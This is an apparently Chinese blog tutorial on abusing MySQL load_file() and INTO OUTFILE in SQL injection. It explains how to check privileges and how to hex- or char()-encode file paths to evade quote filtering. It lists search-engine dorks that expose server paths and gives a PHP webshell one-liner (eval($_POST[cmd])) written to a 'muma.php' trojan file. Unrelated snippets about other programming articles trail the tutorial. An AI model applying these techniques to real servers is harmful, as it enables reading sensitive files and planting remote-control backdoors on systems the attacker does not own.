load_file()与into outfile函数详解
load_file()函数的使用:
1.使用条件
①有读取文件的权限 r
and (select count(*) from mysql.user)>0
如果返回正常则说明有权限,反之没有
②文件大小不能超过max_allowed_packet
③secure_file_priv的值不为NULL
查看mysql是否有对函数load_file(),outfile()函数的限制(securefilepriv的值是否为NULL)
show global variables like '%secure%';
这个情况下没有办法用这些函数,可以到MySQL的配置文件下
修改,Windows下my.ini,linux下my.cnf。在[mysqld]下面添加一行
secure_file_priv =
重启MySQL
出现这个就表明可以了
④必须给出绝对路径
2.注意
1. load_file()函数指定路径是要用到单引号,但是一般魔术引号开启,或者对你输入的内容进行了过滤,这时候转化为十六进制或者ASCII码
比如:d:/test.txt , 构造语句select load_file('d:/test.txt')
, 如果进行了单引号过滤,语句会变成select load_file(\'d:/test.txt\')
,可以转化为16进制:0x643A2F746573742E747874(只转路径,不转'') ,或者转化为ASCII码:char(100,58,47,116,101,115,116,46,116,120,116) 构造select load_file(0x643A2F746573742E747874)
或者select load_file(char(100,58,47,116,101,115,116,46,116,120,116))
2.
hex(load_file('exe文件'))查看 exe二进制文件-----以十六进制读取
-------------------
3.爆出路径
①在display_errors = On的情况下,在后边加个错误参数,爆出网站的绝对路径
②load_file()读取配置文件
③扫描工具
④googlehacking:
Site:webshell.cc warning
Site:webshell.cc "fatal error"
inurl:phpinfo
outfile
1.当对于单引号过滤的时候,就完犊子了,因为绝对路径必须有单引号,十六进制和ASCII都不行
2.outfile经典一句话
select '<?php eval($_POST[cmd])?>' into outfile 'd:/muma.php'
3.必须要有可写的权限。w
4.如果单引号过滤,能找到phpmyadmin也行
5.linux真的是权限不行,必须给相关的目录包括父目录用户o开启W权限
6.有时候写马的时候会出现这个提示,在这里我开了display_errors
但是我去自己服务器看了下确实会写进去。。。。
load_file()与into outfile函数详解的更多相关文章
- Mysql 字符函数详解
MySql 所有字符串函数函数详解 ASCII(str) 返回str最左边第一位字符的ASCII编码,如果str为空,则返回 0 .如果str为NULL,则返回NULL -- 只返回a的ASCII编码 ...
- malloc 与 free函数详解<转载>
malloc和free函数详解 本文介绍malloc和free函数的内容. 在C中,对内存的管理是相当重要.下面开始介绍这两个函数: 一.malloc()和free()的基本概念以及基本用法: 1 ...
- NSSearchPathForDirectoriesInDomains函数详解
NSSearchPathForDirectoriesInDomains函数详解 #import "NSString+FilePath.h" @implementation ...
- JavaScript正则表达式详解(二)JavaScript中正则表达式函数详解
二.JavaScript中正则表达式函数详解(exec, test, match, replace, search, split) 1.使用正则表达式的方法去匹配查找字符串 1.1. exec方法详解 ...
- Linux C popen()函数详解
表头文件 #include<stdio.h> 定义函数 FILE * popen( const char * command,const char * type); 函数说明 popen( ...
- kzalloc 函数详解(转载)
用kzalloc申请内存的时候, 效果等同于先是用 kmalloc() 申请空间 , 然后用 memset() 来初始化 ,所有申请的元素都被初始化为 0. view plain /** * kzal ...
- Netsuite Formula > Oracle函数列表速查(PL/SQL单行函数和组函数详解).txt
PL/SQL单行函数和组函数详解 函数是一种有零个或多个参数并且有一个返回值的程序.在SQL中Oracle内建了一系列函数,这些函数都可被称为SQL或PL/SQL语句,函数主要分为两大类: 单行函数 ...
- jQuery.attr() 函数详解
一,jQuery.attr() 函数详解: http://www.365mini.com/page/jquery-attr.htm 二,jQuery函数attr()和prop()的区别: http: ...
- memset函数详解
语言中memset函数详解(2011-11-16 21:11:02)转载▼标签: 杂谈 分类: 工具相关 功 能: 将s所指向的某一块内存中的每个字节的内容全部设置为ch指定的ASCII值, 块的大 ...
随机推荐
- EasyUI整理学习
参考博客: https://www.cnblogs.com/adc8868/p/6647680.html http://www.jeasyui.com/documentation/# http://w ...
- 【迷你微信】基于MINA、Hibernate、Spring、Protobuf的即时聊天系统:11.定制化Log输出
欢迎阅读我的开源项目<迷你微信>服务器与<迷你微信>客户端 前言 在<迷你微信>服务器中,我们用了Log4J来进行输出,这可以在我们程序出现异常的时候找到错误发生时 ...
- 使用RichTextBox控件保存文件
实习效果: 知识运用: RichTextBox控件的SaveFile方法 SaveFileDialog对象的ShowDialog方法 实现代码: private void 打开RTF文件ToolStr ...
- 【转】浅谈Node.js单线程模型
Node.js采用 事件驱动 和 异步I/O 的方式,实现了一个单线程.高并发的运行时环境,而单线程就意味着同一时间只能做一件事,那么Node.js如何利用单线程来实现高并发和异步I/O?本文将围绕这 ...
- css3媒体查询中device-width和width的区别
1.device-width 定义:定义输出设备的屏幕可见宽度. 不管你的网页是在safari打开还是嵌在某个webview中,device-width都只跟你的设备有关,如果是同一个设备,那么他的值 ...
- idea右侧的工具栏不见,包括maven以及其他
通用,设置后右侧工具栏可见 可以通过view-->windows tool看到maven的
- Linux下C程序内存泄露检测
在linux下些C语言程序,最大的问题就是没有一个好的编程IDE,当然想kdevelop等工具都相当的强大,但我还是习惯使用kdevelop工具,由于没有一个习惯的编程IDE,内存检测也就成了在lin ...
- MySQL - UNION 和 UNION ALL 操作符
UNION 操作符 UNION 操作符用于合并两个或多个 SELECT 语句的结果集. 请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列.列也必须拥有相似的数据类型.同时,每条 SE ...
- python笔记-tuple元组的方法
#!/usr/bin/env python #-*- coding:utf-8 -*- # 创建空元组 tuple1 = () print(tuple) # 创建带有元素的元组 # 元组中的类型可以不 ...
- php 单冒号 、双冒号的用法
单冒号: 常用与三元运算,如:$result = $str ? $str : $str1; 双冒号: 1,当调用静态属性和静态方法时 2,当调用自身类或者父类的属性或者方法时